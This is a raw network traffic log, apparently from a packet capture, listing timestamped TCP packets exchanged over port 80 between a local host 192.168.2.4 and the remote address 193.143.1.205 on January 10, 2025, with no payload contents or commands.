Jan 10, 2025 23:34:33.020337105 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.020347118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.020382881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.020390987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.020433903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.020487070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.020514965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.020538092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.020548105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.020581961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.020592928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.020610094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.020626068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.020646095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.020689964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.020719051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.020734072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.020751953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.020770073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.020786047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.020818949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.020853043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.020863056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.020885944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.020899057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.020915031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.021056890 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.033979893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.034034967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.034044027 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.034087896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.034121990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.034176111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.034178972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.034209013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.034240961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.034244061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.034295082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.035322905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.058023930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.058084011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.058135986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.058170080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.058182955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.058217049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.058239937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.058248997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.058283091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.058294058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.058316946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.061702013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.072117090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.072170019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.072204113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.072237015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.072254896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.072290897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.072316885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.072340965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.072375059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.072386026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.072423935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.072484970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.072531939 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.072557926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.072608948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.072642088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.072658062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.072685957 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.072694063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.072731018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.072782040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.072814941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.072830915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.072848082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.072868109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.072901011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.072945118 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.072953939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.072987080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.073019981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.073029041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.073054075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.073102951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.073136091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.073149920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.073187113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.073199987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.073220968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.073254108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.073261976 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.073286057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.073321104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.073363066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.073369980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.073402882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.073435068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.073457956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.073467970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.073483944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.073517084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.073559999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.073580027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.073612928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.073664904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.073671103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.073697090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.073729992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.073749065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.073780060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.073812962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.073847055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.073857069 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.073879957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.073909044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.073913097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.073947906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.073980093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.073996067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.074012995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.074031115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.074063063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.074095964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.074130058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.074141979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.074162960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.074178934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.074198008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.074232101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.074265003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.074276924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.074297905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.074336052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.074352026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.074373007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.074405909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.074419022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.074440002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.074461937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.074472904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.074506044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.074531078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.074538946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.074573040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.074588060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.074604988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.074639082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.074667931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.074690104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.074701071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.074723959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.074733973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.074771881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.074805975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.074820995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.074860096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.079320908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.095988989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.096062899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.096117020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.096149921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.096168041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.096204042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.096229076 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.096254110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.096304893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.096338987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.096349001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.096373081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.096398115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.096405983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.096440077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.096447945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.096472979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.096504927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.096534967 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.096544981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.096580982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.096590996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.096613884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.096647978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.096657991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.096685886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.096755981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.107386112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.107436895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.107476950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.107532978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.107831001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.110196114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.110255003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.110260010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.110315084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.110348940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.110383987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.110408068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.110416889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.110451937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.110475063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.110522032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.110527039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.110559940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.110593081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.110610962 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.110626936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.110661983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.110680103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.110693932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.110727072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.110761881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.110795021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.110816002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.121217012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.121236086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.121248007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.121258974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.121268988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.121280909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.121293068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.121300936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.121350050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.125758886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.144944906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.144964933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.144978046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.144994974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.145006895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.145008087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.145019054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.145031929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.145062923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.145123959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.159109116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.159135103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.159147978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.159157991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.159169912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.159198046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.159264088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.159265041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.159276962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.159290075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.159302950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.159344912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.159349918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.159360886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.159372091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.159384012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.159390926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.159394979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.159406900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.159419060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.159425974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.159454107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.159475088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.159487009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.159497976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.159508944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.159522057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.159523010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.159571886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.159575939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.159586906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.159598112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.159634113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.159662008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.159672976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.159683943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.159694910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.159706116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.159737110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.159754992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.159758091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.159782887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.159782887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.159813881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.159822941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.159881115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.159914017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.159924030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.159960032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.159965992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.159977913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.160008907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.160058975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.160070896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.160082102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.160093069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.160104990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.160132885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.160192013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.160201073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.160212040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.160222054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.160243988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.160248041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.160254002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.160267115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.160274982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.160279989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.160320997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.160394907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.160406113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.160418034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.160427094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.160439014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.160439014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.160454988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.160465956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.160473108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.160510063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.160515070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.160552979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.160584927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.160597086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.160607100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.160619020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.160641909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.160693884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.160725117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.160737038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.160748959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.160759926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.160774946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.160788059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.160804987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.160842896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.160855055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.160877943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.160890102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.160897017 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.160945892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.160980940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.160991907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.161003113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.161015034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.161032915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.161071062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.163260937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.183136940 CET	80	49730	193.143.1.205	192.168.2.4
